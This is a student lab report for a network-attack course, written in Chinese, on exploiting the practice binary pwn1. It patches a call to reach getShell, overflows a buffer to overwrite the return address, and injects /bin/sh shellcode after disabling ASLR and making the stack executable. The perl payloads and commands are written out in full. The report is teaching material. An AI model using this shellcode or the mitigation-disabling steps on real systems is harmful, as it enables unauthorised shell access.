2018-2019~2 20165107 《网络对抗技术》Exp1 PC平台逆向破解
20165107 《网络对抗技术》Exp1 PC平台逆向破解
实践内容
本次实践的对象是一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,并学习如何注入运行任何Shellcode.。
具体要求
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
实践涉及指令
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
JMP:无条件转移指令。段内直接短转
JmpCMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
实验过程
实验点1、逆向及Bof基础实验
将pwn1用cp指令复制成文件20165107,便于之后的文件操作。
用 objdump -d 20165107 看其汇编代码。
e8表示call,d7 ff ff ff 表示跳转的<foo>地址,通过偏移量计算,将地址改成c3 ff ff ff就会跳到getShell函数。
修改步骤:
1、vim 20165107
2、esc->:%!xxd 将显示模式切换为16进制模式
3、修改d7为c3
输入 :%!xxd -r
将十六进制转换为原格式,
使用 :wq 保存并退出 然后 ./20165107 运行就可以了。
实验点2、自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址
实验原理:系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址。
实验思路:反汇编pwn1文件找到getShell的地址:0804847d,输入参数,使32字节后面内容为地址0804847d对应的数,再执行文件。
实验步骤:
1、 使用prel方法,将getShell的内存地址写入输入字符串中perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
2、 xxd input 可以查看构造的文件。
3、 (cat input; cat) | ./pwn2 命令输入参数。
实验点3、注入shellcode并运行这段shellcode
实验步骤:1、准备工作
下载execstack程序以便接下来可以设置易于攻击的环境:apt-get install execstack
修改设置:execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space
关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space
构造要注入的payload,目的:将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址
我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90。
2、运用perl函数输入shellcode:Perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。//特别提醒:最后一个字符千万不能是\x0a
再注入:(cat input_shellcode;cat) | ./ pwn20165107
再打开一个终端查看执行文件进程号ps -ef | grep pwn20165107
3、启用gdb调试进程,attach 1902与进程建立连接
设置断点查看注入buf的内存地址
disassemble foo //反汇编
break *0x080484ae //设置断点
//在另外一个终端中按下回车
c继续
info r esp查看esp栈顶指针的地址
使用x/16x 0xffffd36c查看其存放内容,看到0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd370,即0xffffd36c加上4字节。
4、c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的\x4\x3\x2\x1部分:perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
再次运行(cat input_shellcode;cat) | ./ pwn20165107后发现执行成功。
实验过程中遇到的问题
1、使用x/16x指针地址查看其存放内容,看到的不是0x01020304,而是0xf7fa0000,即不是返回地址的位置。
分析:自己构造的shellcode码存在问题,用重新设计shellcode码的方法解决。
2、实验三前端pwn1与前端pwn20165107未连接上,即pwn1中的值未注入到pwn20165107中。
解决方法:监察指令是否有误,重启虚拟机,重新输入指令,可以连接。
3、实验准备过程中,在运行pwn1时出现错误提示:[ bash: ./pwn1:没有那个文件或目录]
,但ls命令下又能看到存在pwn1文件。
解决方法:手动查看共享文件夹中是否有pwn1,将文件复制到主文件夹中,重启虚拟机,即可运行pwn1。
实验收获与感悟
1、感悟
通过本次实验,我初步了解了怎么去利用Bof漏洞,怎么简易地修改和注入shellcode以进行攻击,学习了许多之前从未接触的知识,收获很大,也激发了学习此类知识的兴趣。在实验中,我牢记老师所说“要把握整体思路,知道自己在做什么”,只有思路清晰,在实验中遇到问题才能及时发现并解决,才能顺利完成实验,本人Linux基础较弱,今后还将更加努力学习相关知识,不断提升自己的网络对抗技术水平。
2、什么是漏洞?漏洞有什么危害?
经查阅资料,漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。而我所认为的漏洞是指攻击者通过指令操作可以发现的、能够随意更改从而影响整个软硬件功能的一些代码和问题。漏洞一旦被利用,威胁网络安全,危及广大网络用户的信息财产安全,可能造成巨大损失,影响巨大,所以漏洞需及时发现、尽快修复。